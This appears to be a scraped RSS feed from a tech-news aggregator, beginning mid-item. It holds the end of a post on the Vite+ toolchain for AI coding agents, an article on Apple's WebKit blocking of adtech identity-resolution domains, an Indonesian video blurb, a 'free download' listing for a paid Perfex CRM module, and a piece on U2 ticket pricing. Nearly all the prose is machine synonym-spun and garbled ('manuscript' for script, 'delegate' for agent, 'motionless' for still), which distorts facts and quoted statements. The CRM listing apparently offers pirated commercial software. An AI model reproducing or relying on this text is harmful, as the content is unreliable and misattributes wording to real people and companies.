/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=750&amp;q=75 750w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=828&amp;q=75 828w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=3840&amp;q=75 3840w" src="https://janmichalek.com/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=3840&amp;q=75"></a><figcaption>Checking the staged document alongside vp staged.</figcaption></figure> <figure><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener noreferrer"><img alt="vp toolchain terminal output showing Vite+ tool versions" loading="lazy" width="1530" height="550" decoding="async" data-nimg="1" sizes=" 768px) 100vw, 704px" srcset="/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=640&amp;q=75 640w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=750&amp;q=75 750w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=828&amp;q=75 828w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=3840&amp;q=75 3840w" src="https://janmichalek.com/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-toolchain.1x699rowz2mdw.webp&amp;w=3840&amp;q=75"></a><figcaption>vp toolchain shows the energetic tool versions in the project.</figcaption></figure> <p>There are two things to differentiate in a monorepo. vp run executes a package.json manuscript or a project defined in vite.config.ts, and it can command activity according to workspace dependencies. <strong>Caching is not enabled automatically for package.json scripts.</strong> You can allow it with, for example, vp run --cache build. Tasks defined in vite.config.ts are cached by default. I won't rotate my CI timing into a commitment that vp run solitary makes all build faster.</p> <h2>Where it got awkward</h2> <p>vp migrate ran on an older monorepo for concerning 4 minutes. It converted my ESLint, Prettier, and first tsup build setup, and nothing bankrupt in my case. That doesn't average all immigration takes four minutes. You have to difference the outcome alongside the old lint, tests, hooks, and build output. Plugins and tradition rules may motionless need manual work.</p> <p>Another trap is the difference between a built-in command and a project script. vp build runs a Vite app build. vp run build runs the build manuscript from package.json or a project alongside that name. In a Next.js project, the delegate must not assume vp build replaces next build. The identical difference applies to vp dev and vp run dev. Vite+ can activity alongside another templates, but that doesn't alter what those commands do.</p> <p>The third matter is type management. The earth vp env can oversee Node.js and bundle managers. I have three projects on three Node versions, and it made switching easier for me; if you don't desire that, you can rotate it off alongside vp env off. vp upgrade updates the earth CLI, <strong>not the local vite-plus bundle in all project automatically</strong>. I wrote that explicitly in my delegate instructions since the command name invites the contrary assumption.</p> <h2>Who gets Vite+ in my archetypal prompt</h2> <p>Anyone starting a new Vite app alongside AI doing the setup. The disbursal of standardizing is small here: choose one toolchain, put the inspect commands in the repo and CI, and the delegate has a apparent way from a code alter to verification. Across three weeks and four projects, the chief advantage for me was that I stopped explaining the essential commands complete and over.</p> <p>I wouldn't blindly migrate a ample existing app alongside a operating build and test suite. For a example alongside its own build, I'd archetypal decide which parts of Vite+ I really desire to use. And if I already had a fine documented, fast, stable stack, the commitment of &ldquo;one command&rdquo; solitary wouldn't convince me to substitute it.</p> <p>Next period you commencement a Vite project, put vp create in the archetypal immediate and ask for the outputs of vp check, tests, and the build as part of the definition of done. A screenshot of the completed app is nice. Passing checks inform you more.</p>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/vite-an-excellent-toolchain-for-ai-agent-development-73249</guid> <pubDate>Tue, 20 Oct 2026 07:40:49 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Apple breaks its silence on the privacy crackdown that’s roiled the online ad industry]]></title> <description><![CDATA[Apple breaks its silence on the privacy crackdown that’s roiled the online ad industry. Apple's latest privacy crackdown is rattling the online ad industry. And it isn't assistance down.]]></description> <media:thumbnail url="https://i.insider.com/6ad6f049adb77227909a7233?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/apple-breaks-its-silence-on-the-privacy-crackdown-that-s-roiled-the-online-ad-industry-73248</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad6f025e50b02f612be5129?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad6f025e50b02f612be5129?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad6f025e50b02f612be5129?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad6f025e50b02f612be5129?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad6f025e50b02f612be5129?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad6f025e50b02f612be5129?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad6f025e50b02f612be5129?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Apple CEO John Ternus" decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>John Ternus' Apple is waging war on promotion identifiers.</span> <span> <span e-name="image-source" itemprop="creditText">Benjamin Fanjoy/Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Apple's latest privacy crackdown</a> remaining the online ad industry scrambling for answers. Now, the tech elephantine has eventually offered some.</p><p>Late on Monday, Apple published a blog article laying out its rationale for new restrictions that obstacle innovation used to acknowledge and track consumers throughout websites. The changes are implemented through WebKit, the browser motor that powers Safari and another browsers on iPhones and iPads.</p><p>Apple stated the alter was designed to mark "<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">identity resolution</a>," a method adtech companies use to nexus distinct data points concerning users &mdash; specified as email addresses, phone numbers, IP addresses, browsing history, or data concerning the equipment they're using &mdash; to acknowledge and track them throughout devices.</p><p>The method grew in fame as many web browsers, including Apple's Safari, began phasing out <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">third-party tracking cookies</a>, the small records dropped on a user's equipment that were traditionally used for web tracking. The ad industry deploys tracking to exactly mark particular audiences and measure whether their campaigns are working.</p><p>In its <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">blog post</a>, Apple stated that during users power readily recommendation their email location to log in to a website or sign up for a newsletter, most wouldn't anticipate it to additionally be shared alongside another companies for invisible tracking purposes.</p><p>"It's not adequate to obstacle cross-site cookies to forestall cross-site tracking today since the tracking industry has not stopped trying to track users on the web," Apple said. "They have ushered into what they call the article biscuit era and in our latest releases we have put powerful safety in place."</p><p>The blog article explains that Apple is implementing "domain-level" blocking, a broad involvement designed to justify that character providers can't circumvent the limitation by changing how they dispatch data.</p><p>Apple took the adtech industry by astonishment before this duration whenever it came to ray that it had begun blocking the domains operated by multiple companies that recommendation substitute identifiers, without warning. The blocked domains included those operated by <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">The Trade Desk</a>, LiveRamp, ID5, Permutive, and Audigent.</p><p>The first rollout additionally blocked The Trade Desk's capability to assist ads at all on Apple-operated browsers. Apple rolled out a fix a few days afterward that restored The Trade Desk's ad-serving domain from being blocked alongside its promotion identifier, Unified ID 2.0.</p> <h2 id="67ff15b3-abbc-4e60-b42c-6fce0fcc7da2" data-toc-id="67ff15b3-abbc-4e60-b42c-6fce0fcc7da2">The ad industry braces for fallout</h2><p>The ad industry is now bracing for effect as additional users commencement updating their devices to iOS 27. Ad pros earlier told CMO Insider that the alter volition create it harder for advertisers to acknowledge and attain group throughout the open web.</p><p>Industry insiders stated that by efficiently shrinking the pond of users they can target, advertisers are expecting small reach, higher prices to attain the audiences they can motionless identify, and additional difficulty in controlling how frequently group see an ad and measuring whether their campaigns worked.</p><p>Identity resolution has rotate into general throughout the open web. An <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">academic document </a>published in September that analyzed 600,000 websites complete 41 months established that 83.76% of those sites were using substitute identifiers by May 2025.</p><p>If promotion becomes small productive on the open web, marketers could chimney additional of their budgets into so-called "walled garden" platforms akin Meta and Google, which aren't as heavily reliant on substitute identifiers since they have reams of their own logged-in person data. Apple, too, has a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">growing promotion business</a> inside its App Store and apps, including News and Maps.</p><h2 id="dfcb5761-0acf-4049-9998-9a4fdac52434" data-toc-id="dfcb5761-0acf-4049-9998-9a4fdac52434">Apple isn't assistance down</h2><p>There are motionless unanswered questions concerning Apple's exact definition of an character resolution provider, and the business has already demonstrated it can add domains to its obstacle catalog without warning.</p><p>There's additionally an sign Apple is lone getting started. First reported by AdExchanger, Apple has additionally created a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">broader obstacle catalog </a>that can dynamically obstacle possibly hundreds of adtech, martech, and data companies. Affected companies may not acknowledge they've been added to the catalog until they commencement experiencing disruptions.</p><p>In Monday's blog post, Apple connected to its long-standing <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">tracking-prevention policy</a>, which acknowledges that its blocking rules may have unintended impacts. Those contain disrupting the backing of websites that use targeted or personalized advertising, promotion measurement, and fraud prevention.</p><p>The guideline states that during Apple volition try to bounds unintended impact, "when faced alongside a tradeoff, we volition typically prioritize person benefits complete preserving current website practices."</p><p>Ever since Apple launched its <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Intelligent Tracking Prevention</a> characteristic in 2017, the tech elephantine has been locked in a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">cat-and-mouse game</a> alongside the adtech industry, which has persistently developed workarounds to its privacy updates. Adtech companies have asserted that these techniques were necessary to assistance publishers efficiently monetize their websites alongside ads during motionless maintaining person privacy.</p><p>Apple, which has lengthy held that "privacy is a essential <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">human right</a>," makes it apparent in its guideline that it won't authorize workarounds to continue on its watch.</p><p>"We treat circumvention of shipping anti-tracking measures alongside the identical seriousness as exploitation of safety vulnerabilities," the Apple guideline states. "If a gathering attempts to circumvent our tracking safety methods, we may add additional restrictions without previous notice."</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Lara O'Reilly is the anchor of the <a href="https://en.mycoding.id/category/business" target="_blank">CMO Insider newsletter</a>.</span><span>She is a chief equal who has covered the digital advertising, marketing, and media industries since 2010. Her current attack includes big tech companies akin Alphabet and Meta, adtech firms, agencies, publishers, the creator economy, and CMOs.</span><span>Lara has earlier worked as a newsman and administrator manufacturer at titles including The Wall Street Journal, Digiday, Yahoo Finance, and Marketing Week. She was earlier Business Insider's elder earth promotion publishing company from 2014 to 2017.</span><span>Lara is a regular visitant on TV and broadcast and has appeared on outlets specified as the BBC, NPR, SiriusXM's Wharton Business Daily, and CTV Television Network. She additionally frequently speaks on phase at important events specified as Web Summit, IFA, VivaTech, Advertising Week, and Cannes Lions.</span><span>To get in contact alongside Lara O'Reilly, email <a href="https://en.mycoding.id/category/business" target="_blank">loreilly@businessinsider.com</a> or communication her on Signal at @loreilly.71</span><span></span><span></span><span></span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/apple-breaks-its-silence-on-the-privacy-crackdown-that-s-roiled-the-online-ad-industry-73248</guid> <pubDate>Tue, 20 Oct 2026 07:24:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Lara O'reilly)]]></author> </item> <item> <title><![CDATA[Memahami Kalkulus Lanjutan]]></title> <description><![CDATA[Memahami Kalkulus Lanjutan. Channel ini menyajikan materi seputar Data Science &amp; Artificial Intelligence, Networking &amp; Cyber Security, serta Database &amp; Programming. Seluruh mat...]]></description> <media:thumbnail url="https://i1.ytimg.com/vi/RZK0XW-hdPk/maxresdefault.jpg"/> <category><![CDATA[Indonesian]]></category> <link>https://en.mycoding.id/memahami-kalkulus-lanjutan-73250</link> <content:encoded><![CDATA[<p class="embed-responsive embed-responsive-16by9 post-embed"><iframe width="560" height="315" aria-label="Preview" class="embed-responsive-item" src="https://www.youtube.com/embed/RZK0XW-hdPk?autoplay=1&amp;mute=1&amp;playsinline=1&amp;rel=0" title="YouTube video player" frameborder="0" allow="autoplay; accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p><h2>Memahami Kalkulus Lanjutan</h2><p>Channel ini menyajikan materi seputar Data Science &amp; Artificial Intelligence, Networking &amp; Cyber Security, serta Database &amp; Programming. Seluruh materi disusun secara sistematis untuk membantu Anda memahami konsep, teknologi, dan praktik yang digunakan di bumi teknologi informasi, mulai dari tingkat alas hingga lanjutan. Setiap bahasan berfokus pada pengembangan keahlian melalui materi yang gampang dipahami, relevan dengan kebutuhan industri, dan disampaikan untuk tujuan edukasi. Seluruh konten mengedepankan implementasi teknologi secara legal, etis, dan bertanggung jawab, sehingga dapat menjadi rujukan belajar bagi pelajar, mahasiswa, maupun profesional. Jika Anda mau mengembangkan kapasitas di sektor pemrograman, pengelolaan data, kecerdasan buatan, jaringan komputer, maupun keamanan siber, channel ini menyediakan materi yang dapat membantu membangun fondasi ilmu sekaligus menaikkan keahlian secara bertahap. Playlist video terkait: ▪ https://www.youtube.com/playlist?list=PLZGgeqmsm32s ▪ https://www.youtube.com/playlist?list=PLZomBNpDl3vc ▪ https://www.youtube.com/playlist?list=PLE5VyXMZkzb8 PEMBAHASAN MATERI Playlist Materi Ilmu Komputer berisi kumpulan video pembelajaran, tutorial, klarifikasi konsep, studi kasus, demo, dan bahasan komplit seputar beragam sektor dalam ilmu komputer. Materi yang disajikan mencakup alas hingga tingkat lanjut, mulai dari pemrograman, pengelolaan database, jaringan komputer, keamanan siber, mekanisme operasi, pengembangan alat lunak, arsitektur komputer, hingga beragam teknologi yang digunakan dalam bumi komputasi modern. Temukan bahasan mengenai komputer dan pemrograman, algoritma, struktur data, PHP, JavaScript, Python, Laravel, MySQL, PostgreSQL, API, rekayasa alat lunak, database, jaringan komputer, pengelolaan server, cloud computing, virtualisasi, Linux, Windows Server, keamanan jaringan, cyber security, ethical hacking, kriptografi, keamanan aplikasi, DevOps, Internet of Things (IoT), kecerdasan buatan (AI), machine learning, serta beragam konsep, teknologi, dan praktik terbaik di sektor ilmu komputer. Playlist ini cocok bagi pelajar, mahasiswa, programmer, web developer, software engineer, pengelola sistem, ahli IT, maupun siapa saja yang mau mempelajari dan memperdalam wawasan di bumi ilmu komputer secara menyeluruh. CONTACT US ▪ Email support@mycoding.id ▪ WhatsApp https://wa.me/6281274309663 ▪ Telegram https://t.me/mycodingxd OFFICIAL LINKS ▪ Web https://mycoding.id ▪ Blog https://blog.mycoding.id ▪ News https://en.mycoding.id ▪ Apps https://play.google.com/store/apps/dev?id=5237501547073493079 SOCIAL MEDIA ▪ https://linkedin.com/company/mycodingxd ▪ https://facebook.com/mycodingxd ▪ https://instagram.com/mycodingxd ▪ https://tiktok.com/@mycodingxd ▪ https://twitter.com/mycoding_xd ▪ https://pinterest.com/mycoding_xd CHANNEL LINKS ▪ YouTube https://safelink.asia/youtube ▪ DailyMotion https://safelink.asia/dailymotion ▪ WhatsApp https://safelink.asia/whatsapp ▪ Telegram https://safelink.asia/telegram Powered by https://linkedin.com/company/401XDGroup #CyberSecurity #ArtificialIntelligence #Networking #DataScience #Programming #Database</p>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/memahami-kalkulus-lanjutan-73250</guid> <pubDate>Tue, 20 Oct 2026 07:00:24 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mc Project)]]></author> </item> <item> <title><![CDATA[REST API Module for Perfex CRM v3.1.0 – Connect Apps and Automate Workflows with Third Party Applications]]></title> <description><![CDATA[REST API Module for Perfex CRM v3.1.0 – Connect Apps and Automate Workflows with Third Party Applications. REST API Module for Perfex CRM v3.1.0 – Connect Apps and Automate Workflows alongside Third Party Applications Addon Free Download. Seamlessly Integrate your CRM wit...]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Digital Products]]></category> <link>https://en.mycoding.id/rest-api-module-for-perfex-crm-v3-1-0-connect-apps-and-automate-workflows-with-third-party-applications-73253</link> <content:encoded><![CDATA[<div class="entry-content admission clearfix"><div class="stream-item stream-item-above-post-content"><div class="stream-item-size"> </div></div><p class="wp-block-paragraph">REST API Module for Perfex CRM v3.1.0 – Connect Apps and Automate Workflows alongside Third Party Applications Addon Free Download. Seamlessly Integrate your CRM alongside Third-party Applications, Automate Processes, and Revolutionize your Workflow. With our API module, you can Harness the true Potential of a Custom Connection without the need for any Additional Custom Work.</p><h3 class="wp-block-heading">Main Features</h3><ul class="wp-block-list"><li>REST API</li><li>Add and Delete Customer</li><li><span>List All Contacts</span></li><li>Request Customer Information</li><li>Timesheets</li><li>Subscriptions System</li><li>Invoices</li><li>Leads Management</li><li>Milestones</li><li>Request Project Information</li><li>Staff Member</li><li>Add Custom Fields</li><li>Estimates</li><li>Expense Management</li><li>Task Manager</li><li>Tickets System</li><li>and more</li></ul><h2 class="wp-block-heading">Download REST API Module for Perfex CRM – Connect your Perfex CRM alongside Third Party Applications</h2><b>Live Demo:</b> <a href="https://en.mycoding.id/category/digital-products" target="_blank" target="_blank"><b>View Demo</b></a><br><br><a href="https://en.mycoding.id/category/digital-products" target="_blank" target="_blank" rel="noopener"><b>Online Documentation</b></a><br><br><p class="wp-block-paragraph"><strong>v3.1.0</strong></p><div class="stream-item stream-item-in-post stream-item-inline-post aligncenter"><div class="stream-item-size"> <div id="container-0730062b1c60873c0fcc80d9fa01093b"></div></div></div><div class="download-link-section"><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div></div><br><p class="wp-block-paragraph"><strong>v2.1.5</strong></p><div class="download-link-section"><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div></div><br><p class="wp-block-paragraph"><strong>v2.0.8</strong></p><div class="download-link-section"><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div></div><br><p class="wp-block-paragraph"><strong>v2.0.4</strong></p><div class="download-link-section"><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div></div><br><p class="wp-block-paragraph">Free download REST API component for Perfex CRM – Connect Apps and Automate Workflows alongside third gathering applications addon by themesic on <strong><a href="https://en.mycoding.id/category/digital-products" target="_blank" target="_blank" rel="noreferrer noopener">Codecanyon</a></strong> 25278359 Perfex CRM REST API component download.</p><div class="stream-item stream-item-in-post stream-item-inline-post aligncenter"><div class="stream-item-size"> </div></div><div class="stream-item stream-item-below-post-content"><div class="stream-item-size"> <div id="container-0730062b1c60873c0fcc80d9fa01093b"></div></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/rest-api-module-for-perfex-crm-v3-1-0-connect-apps-and-automate-workflows-with-third-party-applications-73253</guid> <pubDate>Tue, 20 Oct 2026 06:50:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Null Php Script)]]></author> </item> <item> <title><![CDATA[Bono says U2 has got no problem with charging wealthy fans more to see the band live]]></title> <description><![CDATA[Bono says U2 has got no problem with charging wealthy fans more to see the band live. Bono stated U2 has small say complete achievement ticket prices, but the collection motionless tries to keep its finest seats affordable.]]></description> <media:thumbnail url="https://i.insider.com/6ad6d03be50b02f612be511b?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/bono-says-u2-has-got-no-problem-with-charging-wealthy-fans-more-to-see-the-band-live-73244</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad6e62ae50b02f612be5127?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad6e62ae50b02f612be5127?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad6e62ae50b02f612be5127?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad6e62ae50b02f612be5127?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad6e62ae50b02f612be5127?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad6e62ae50b02f612be5127?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad6e62ae50b02f612be5127?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Bono of U2" decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Bono says U2 has lengthy tried to keep its finest achievement seats inside attain for fans.</span> <span> <span e-name="image-source" itemprop="creditText">VALERY HACHE/AFP via Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>For decades, U2 has sold out several of the world's biggest venues. Bono says the collection has one longstanding way of making those shows additional accessible.</p><p>On The New York Times' "The Interview" podcast, Bono stated U2 has "very little" say complete <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">ticket prices</a> for its live shows. Still, he said, the collection has lengthy worked to create several front-row seats small expensive.</p><p>"What we do in our collection is we obtain the finest seats in the home &mdash; we've done this all our existence &mdash; and create certain that they're frequently the most affordable," Bono said.</p><p>That doesn't average U2 objects to charging several fans a premium.</p><p>"We additionally have no issue separating affluent group from their money," Bono said. "You know, as we say, affluent group have feelings, too. If they desire to pay extremely elevated prices, we've no problem."</p><p>Bono stated the aim is for fans to awareness fine concerning what they are paying for. He stated U2 shows have "a flat of depth" anywhere group who don't normally concur politically can "feel safe."</p><p>"If they're in America, we desire group to awareness really fine concerning the choice to pay a ticket &mdash; and likely pay too much for it &mdash; to see us," Bono said.</p><p>U2 performed 40 nights at <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">the Sphere in Las Vegas</a> from September 2023 through March 2024. The <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">official announcement</a> stated tickets for the residency started at $140, and that the venue's larger capability would authorize "60% of tickets to be priced under $300," alongside a "limited figure of premium-priced tickets" at all show.</p><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">High ticket prices</a> have rotate into a defining characteristic of the contemporary achievement experience. The average ticket cost for the top 100 tours rosy from $96.17 in 2019 to $132.62 in 2025, per <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">data from Pollstar</a>, a music industry commerce publication.</p> <p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Dynamic pricing</a>, which allows prices to increase alongside demand, has helped run expenses higher. On <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">the secondary market</a>, tickets can additionally be relisted at far higher prices than their first visage value.</p><p>There are additionally longstanding concerns concerning consolidation in the ticketing industry. In April, a national panel established Live Nation liable for <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">antitrust violations</a>, determining that its market monopoly led Ticketmaster to overcharge customers by $1.72 per ticket from May 2020 to 2024.</p><p>Sports fans are facing the identical sticker shock. A <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Business Insider analysis</a> of former ticket data established that a Category 1 ticket to this year's World Cup final disbursal $10,990 in April's open sale. At the former seven World Cups, the equal ticket disbursal between $988 and $1,783 in today's dollars.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" 